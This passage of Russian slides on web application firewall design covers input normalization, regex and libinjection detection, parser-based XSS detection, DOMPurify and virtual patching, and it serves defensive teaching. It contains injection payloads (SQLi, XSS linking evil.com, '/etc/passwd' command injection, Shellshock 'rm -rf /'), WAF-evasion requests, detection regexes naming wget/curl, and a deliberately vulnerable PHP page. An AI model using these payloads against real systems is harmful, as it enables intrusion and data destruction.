    alert(1);
  89. Заголовок SQL: id=42' or 1=1-- - HTML: 111"><a href =

    "//evil.com"> JavaScript: 1"; alert(document.domain);// Shell Command Injection: 192.168.10.1 && cat /etc/passwd LDAP Injection: admin)|((userpassword=*) XPath Injection: user' or name()='admin' or 'x'='y Shellshock: test () { :; }; rm –rf / Примеры инъекций
  90. Заголовок Нормализация

  91. Заголовок Цель – устранение недостатка типа Differential Parsing Нормализация –

    процесс преобразования данных к формату защищаемого веб-приложения Кодирование • URL decoding • Null-byte string termination • BASE64 decoding • HTML entities decoding • IIS-specific Unicode encoding • Double encoding Парсинг • URL Path • HTTP Parameters • Hostname Нормализация
  92. Заголовок Пример GET /update?id=1+union+select+1/* HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent:

    Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475
  93. Заголовок Пример GET /update?id=1+un/**/ion+se/**/lect+1/* HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent:

    Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475
  94. Заголовок Пример GET /update?id=1;select+1&id=2,3# HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent:

    Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 ASP.NET/IIS id = 1;SELECT 1,2,3 # PHP/Apache id = 2,3 #
  95. Заголовок Пример GET /update?id=\u003csvg%2fonload=alert(1)\u003e HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent:

    Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475
  96. Заголовок Обработка Path

  97. Заголовок HTTP Parameter Pollution

  98. Заголовок HTTP Parameter Contamination

  99. Заголовок T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service:

    Eluding Network Intrusion Detection. Secure Networks, Inc. 1998. Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls. Основные принципы нормализации • Приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение • Эквивалентный парсинг Нормализация
  100. Заголовок Negative Security Model

  101. Заголовок Лексический подход (регулярные выражения) Лексико-сигнатурный подход • libinjection (Nick

    Galbreath) Синтаксический подход (parsing-based) • libdetection (Wallarm) • waf.js (Positive Technologies) • Indexed Syntax Graph (Shape Security) Negative Security Model
  102. Заголовок Использование регулярных выражений (конечных автоматов) для распознавания регулярного языка

    атак Имеется L – регулярный язык атак, заданный регулярными выражениями R Если входное слово принадлежит языку L, т. е. допускается одним регулярным выражением из R, то входное слово – атака Лексический подход
  103. Заголовок Лексический подход (?:\/[^\?\/]+\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\;[^\?\/]*)?\?)|\?.+\=.*(?:(?:ActiveXObject|CreateObject|Exec)\((?:"|')|\((?:'| ")WScript\.Shell) LDAP Search Filter Injection (?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-

    \xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|]) Reflected File Download SSRF (gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress\.zlib|glob|data):\/\/ (?i:(?:[\;\|\`]\W*?\bcc|\b(wget|curl))\b|\/cc(?:[\'\"\|\;\`\-\s]|$)) OS Command Injection SSI Injection <!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)
  104. Заголовок Лексический подход Reflected File Download

  105. Заголовок Лексический подход SQL Injection # Detect SQL Comment Sequences

    (/\*!?|\*/|[';]--|--[\s\r\n\v\f]|(?:--[^-]*?-)|([^\-&])#.*?[\s\r\n\v\f]|;?\\x00) # SQL Hex Evasion Methods (?i:(?:\A|[^\d])0x[a-f\d]{3,}[a-f\d]*)+ # String Termination/Statement Ending Injection Testing (^[\"'`´’‘;]+|[\"'`´’‘;]+$) # SQL Operators (?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|\bxor\b|\brlike\b|\bregexp\b|\bisnull\b)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+ null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:\bxor\b|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary)) # SQL Tautologies (?i:([\s'\"`´’‘\(\)]*?)\b([\d\w]++)([\s'\"`´’‘\(\)]*?)(?:(?:=|<=>|r?like|sounds\s+like|regexp)([\s'\"`´’‘\(\)]*?)\2\b|(?:!=|<=|>=|<>|<|>|\^|is\s +not|not\s+like|not\s+regexp)([\s'\"`´’‘\(\)]*?)(?!\2)([\d\w]+)\b)) # Detect DB Names (?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|ast er\.\.sysdatabases|ysql\.db)|s(?:ys(?:\.database_name|aux)|chema(?:\W*\(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)e\W*\(| information_schema|pg_(catalog|toast)|northwind|tempdb))
  106. Заголовок Лексический подход SQL Injection (?i:\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_u ser|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_ (aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|ca se|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stamp diff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|

    o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(bas e64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(ad d|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt) |v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ig ht_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)\W*\(|\b(?:(?:s(?:ele ct\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p _(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longv archar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_nts ec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nion\b.{1,10 0}?\bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|elete\b\W*?\bfrom)|group\b.*\bby\b.{1,100}?\bhaving|open(?:rowset|owa_util|query)|load\b\W* ?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?: \b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|print\b\W*?\@\@|cast\b\W*?\()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar( ?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)\W*\(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)\W*\(|llation\W* \(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)\W*\(|bms_\ w+\.\b)|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|\butl_inaddr\b|\bsys_context\b|'(?:s(?:qloledb|a)|msdasql|dbo)'))
  107. Заголовок Регулярные выражения – определение языка атак Правила – определение

    контекста и логики Правила • Условия • Ограничения • Контекст • Источники • Корреляции • Реакции Правила
  108. Заголовок Пример правил CloudFlare WAF Anonymous Attack rule 1234567A Simple

    POST botnet REQUEST_METHOD is POST and REQUEST_URI is /q deny rule 12345679 Anonymous attack REQUEST_METHOD is GET and REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous deny Simple POST Botnet
  109. Заголовок Пример правил: ModSecurity Heuristic Checks # # -=[ Heuristic

    Checks ]=- # # [ Repeatative Non-Word Chars ] # # This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence # SecRule ARGS "\W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',ac curacy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setva r:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
  110. Заголовок Пример правил: PT Application Firewall Reflected File Download {

    "rule": { "and": [ { "REQUEST_URI": { "regex": "(?:\\/[^\\?\\/]+\\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\\;[^\\?\\/]*)?\\?)|\\?.+\\=.*(?:(?:ActiveXObject|CreateObject|Exec)\\((? :\\x22|')|\\((?:'|\\x22)WScript\\.Shell)" } }, { "RESPONSE_HEADERS;content-disposition": { "itext": "attachment" } } ] } }
  111. Заголовок Предложил Nil Galbreath в 2012 для обнаружения SQL-инъекций Позднее

    данный подход был адаптирован для обнаружения XSS Реализован в библиотеке libinjection Основные идеи • Выполняется токенизация значения в соответствии с заданной грамматикой в 3-х контекстах • Строится свертка • Последовательность первых пяти токенов ищется в базе сигнатур • База сигнатур строится по популярным векторам атак Лексико-сигнатурный подход
  112. Заголовок Пример input = 42" or "1"="1" -- 1

  113. Заголовок Пример input = 42" or "1"="1" -- Context AS_IS

    = 42" or "1"="1" -- 1
  114. Заголовок Пример input = 42" or "1"="1" -- Context AS_IS

    = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены
  115. Заголовок Пример input = 42" or "1"="1" -- Context AS_IS

    = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены 1s1s1s Сигнатура
  116. Заголовок Пример input = 42" or "1"="1" -- Context AS_IS

    = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены Сигнатура 1s1s1s
  117. Заголовок Пример input = 42" or "1"="1" -- 2

  118. Заголовок Пример input = 42" or "1"="1" -- Context SINGLE_QUOTE

    = '42" or "1"="1" -- 2
  119. Заголовок Пример input = 42" or "1"="1" -- Context SINGLE_QUOTE

    = '42" or "1"="1" -- 2 ('s', ' \'42" or "1"="1" --'): string Токены
  120. Заголовок Пример input = 42" or "1"="1" -- Context SINGLE_QUOTE

    = '42" or "1"="1" -- 2 ('s', ' \'42" or "1"="1" --'): string Токены s Сигнатура
  121. Заголовок Пример input = 42" or "1"="1" -- Context SINGLE_QUOTE

    = '42" or "1"="1" -- 2 ('s', ' \'42" or "1"="1" --'): string Токены s Сигнатура
  122. Заголовок Пример input = 42" or "1"="1" -- 3

  123. Заголовок Пример input = 42" or "1"="1" -- Context DOUBLE_QUOTES

    = "42" or "1"="1" -- 3
  124. Заголовок Пример input = 42" or "1"="1" -- Context DOUBLE_QUOTES

    = "42" or "1"="1" -- 3 ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1"'): string ('c', '--'): comment Токены
  125. Заголовок Пример input = 42" or "1"="1" -- Context DOUBLE_QUOTES

    = "42" or "1"="1" -- 3 ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1"'): string ('c', '--'): comment Токены s&sos Сигнатура
  126. Заголовок Пример input = 42" or "1"="1" -- Context DOUBLE_QUOTES

    = "42" or "1"="1" -- 3 ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1"'): string ('c', '--'): comment Токены s&sos Сигнатура
  127. Заголовок &(1)U &(1)o &(1o( &(1of &(1os &(1ov &(f() &(nof &(nos

    &(nov &(s)U Примеры сигнатур https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
  128. Заголовок Проблема ложных срабатываний POST /app HTTP/1.1 Host: example.com Connection:

    close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 Text=Dancin' like a robot on fire
  129. Заголовок Впервые применение парсеров для обнаружения инъекций было описано в

    работе Роберта Хансена и Мередит Паттерсон «Guns and Butter: Towards Formal Axioms of Input Validation» для Black Hat 2005 «Сontext-free parse tree validation» • По известным запросам приложения грамматика для SQL преобразуется в грамматику для subSQL • По построенной грамматике генерируется парсер • Парсер subSQL распознает только цепочки подъязыка SQL этого приложения Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal Axioms of Input Validation Введение
  130. Заголовок Ленивые – эвристическое использование готовых парсеров, в идеале –

    парсеров целевых компьютерных систем, для предотвращения уязвимостей типа «parser differentials» • DOMPurify • DOMSanitizer Грамматические • libdetection (Wallarm) • libdejection (PT AF) Виды подходов
  131. Заголовок Строка s - инъекция для языка L(G), если в

    построенном дереве разбора s по грамматике G содержится хотя бы одна опасная инструкция • 11111 • alert(1) Базовая идея – с использованием готового парсера построить дерево разбора; если дерево разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией Характеристики подхода • Возможность использования готовых парсеров • Универсальность • Эвристичность Ленивый метод
  132. Заголовок Пример: DOM-based XSS http://ex.com/foo.html#11111 var input = location.hash.slice(1); document.write("<scr"+"ipt>var

    foo = "+ input +"</scr"+"ipt>"); <script> var foo = 11111; <script> Program ExpressionStatement Literal
  133. Заголовок Пример: DOM-based XSS http://ex.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("<scr"+"ipt>var

    foo = "+ input +"</scr"+"ipt>"); <script> var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal
  134. Заголовок Запрещенные нетерминалы (опасные конструкции) в простейшем случае задаются перечнем

    типов узлов Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов Что делать, когда дерево разбора не может быть построено? ""};alert(1);var f={t:" Поиск вредоносного кода
  135. Заголовок Модульный парсер Acorn function sanitize(dirty) { var acorn =

    require('acorn'), detected = false, clean = '', tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(payload, {plugins: {detectCallExpression: true}}); if (detected) { return clean; } return dirty; }
  136. Заголовок Вход: строка S, контекст CTX Выход: является ли S

    инъекцией в контексте CTX? 1. Построить tokens – список токенов s в CTX 2. Построить дерево разбора для S в CTX 3. Если в дереве есть запрещенные узлы, то S – инъекция 4. Иначе удалить из S следующий токен 5. Если S – непустая строка, то перейти на шаг 2 Метод поиска с левым приведением
  137. Заголовок Пример nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs

    = " 1
  138. Заголовок Пример nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs

    = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} 2
  139. Заголовок Пример nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs

    = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ""});alert(1);var f =({t:" parse(ctx): Unexpected token (1:2) 3
  140. Заголовок Пример nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs

    = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = });alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 4
  141. Заголовок Пример nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs

    = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = );alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 5
  142. Заголовок Пример nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs

    = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ;alert(1);var f =({t:" parse(ctx): Program 6
  143. Заголовок Пример 7 Program EmptyStatement ExpressionStatement alert CallExpression … arguments

    1 nodes = {CallExpression} ctx = ;alert(1);var f =({t:"
  144. Заголовок Примеры обнаруживаемых векторов http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected

    File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
  145. Заголовок Толерантность к ошибкам )},{0:prompt(1 Prompt.ml Challenge Hidden Level 4

    function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return '<body onload="think.out.of.the.box(' + input + ')">'; } return '<body onload="think.out.of.the.box()},{0:prompt(1)">'; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"
  146. Заголовок Толерантность к ошибкам nodes = {CallExpression} s = )},{0:prompt(1

    Program ExpressionStatement SequenceExpression … ObjectExpression Identifier CallExpression name: x
  147. Заголовок Расширенная конфигурация • Классы источников • Контексты для источников

    и отдельных параметров • Запрещенные узлы ESTree Реализация дополнительных проверок в модулях Acorn Предустановленные профили защиты Тестирование Минимизация ложных срабатываний
  148. Заголовок Встроенные распознаватели

  149. Заголовок DOM и DOMParser DOMParser – интерфейс для парсинга и

    сериализации DOM var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >' var p = new DOMParser(); var d = p.parseFromString(s, 'text/html'); console.log(d.body.innerHTML); // IE 10 // <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"=""> // FF // <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"=""> // Chrome // <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
  150. Заголовок "DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for

    HTML, MathML and SVG" Адрес проекта https://github.com/cure53/DOMPurify Особенности • Точный механизм • Инструмент для разработчиков • Удаление вредоносного и запрещенного кода из HTML / MathML / SVG • Поддерживает механизм хуков DOMPurify
  151. Заголовок DOMPurify var _initDocument = function(dirty) { /* Create a

    HTML document using DOMParser */ var doc, body; try { doc = new DOMParser().parseFromString(dirty, 'text/html'); } catch (e) {} /* Some browsers throw, some browsers return null for the code above DOMParser with text/html support is only in very recent browsers. See #159 why the check here is extra-thorough */ if (!doc || !doc.documentElement) { doc = implementation.createHTMLDocument(''); body = doc.body; body.parentNode.removeChild(body.parentNode.firstElementChild); body.outerHTML = dirty; } … };
  152. Заголовок Что может DOMPurify Предотвращать атаки XSS (в том числе

    для jQuery) var dirty = '<a>123<b>456<script>alert(1)<\/script></b></a>789'; var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']}); clean; //123456789 var dirty = '<img src=x name=createElement><img src=y id=createElement>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x"><img src="y">" var dirty = '<img src="http://evil.com/log.cgi?'; var clean = DOMPurify.sanitize(dirty); clean; // "" Предотвращать атаки DOM Clobbering Предотвращать атаки Dangling Markup Injection
  153. Заголовок DOMPurify для WAF function sanitize(s) { var clean =

    ''; DOMPurify.sanitize(s); if (DOMPurify.removed.length > 0)) { return clean; } return s; } ε, dompurify.removed(x) ≠ 0 x, dompurify.removed(x) = 0 sanitize(x) =
  154. Заголовок Нормализация Использование API браузера для нормализации var normalizeInput =

    function(s) { var tmp; var textArea = document.createElement('textarea'); do { tmp = s; textArea.innerHTML = s; s = textArea.value; try { s = decodeURIComponent(s); } catch (e) {} } while (tmp !== s); return s; };
  155. Заголовок Виртуальный патчинг

  156. Заголовок Виртуальный патч – то, что предотвращает использование обнаруженной уязвимости

    в атаке • SAST • DAST Особенности • Использование механизма правил, а не сигнатур • Возможно использование сложных алгоритмов защиты (CSRF, IDOR) Ryan Barnett. WAF Virtual Patching Challenge Виртуальный патчинг
  157. Заголовок Знать, как не должно быть: необходимые и достаточные условия

    наличия уязвимости Знать, как есть: доказать наличие этих условий в анализируемом коде защищаемого приложения Устранить хотя бы одно из необходимых условий путем изменения исходного кода защищаемого приложения В. Кочетков. Автоматическая генерация патчей для уязвимого исходного кода Как сгенерировать патч
  158. Заголовок Знать, как не должно быть: необходимые и достаточные условия

    наличия уязвимости Знать, как есть: доказать наличие этих условий в защищаемом приложении Сделать невозможным выполнение хотя бы одного из необходимых условий путем изменения запросов к защищаемому приложению Как сгенерировать виртуальный патч
  159. Заголовок • Средствами SAST/DAST выполняется поиск уязвимостей веб-приложения • По

    найденным уязвимостям создается отчет • Отчет содержит перечень найденных уязвимостей и автоматически сгенерированные эксплойты • По полученным эксплойтам генерируются сигнатуры и итоговые правила виртуальных патчей Метод защиты
  160. Заголовок Исходный код // page.php <?php $name = $_GET["name"]; ?>

    <html> <body> <div class="user"> <?php echo $name; ?> </div> </body> </html>
  161. Заголовок Исходный код http://example.com/blog/page.php?id=<svg/onload=alert(1)> Эксплоит // page.php <?php $id =

    $_GET["id"]; ?> <html> <body> <div class="page"> <?php echo $id; ?> </div> </body> </html>
  162. Заголовок Пример отчета { "path": "/blog/page.php", "source": "/opt/app/www/blog/page.php", "type": "XSS",

    "exploit": "\r\nGET /blog/page.php/id=<svg/onload=alert(1)> HTTP/1.1\r\nHost: example.com\r\n", "params": { "param": { "src": "REQUEST_GET_ARGS", "payload": "<svg/onload=alert(1)>", "name": "id", "dependencies": {"dependency": [ "%3C", "%3E" ]} }}}
  163. Заголовок Пример правила { "and": [ { "REQUEST_PATH": "/blog/page.php" },

    { "REQUEST_GET_ARGS:id": { "regex": "[<>]" } } ] }
  164. Заголовок Материалы

  165. Заголовок Книги

  166. Заголовок Copyrights В презентации использованы следующие материалы: В. Кочетков. Как

    разработать защищенное веб-приложение и не сойти с ума? Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript. А. Петухов. Обзор ограничений современных технологий в области ИБ. I. Markovic. HTTP Parameter Contamination. I. Ristic. Protocol-Level Evasaion of Web Application Firewalls. Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications. D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them
  167. Заголовок ptsecurity.com Спасибо! Спасибо!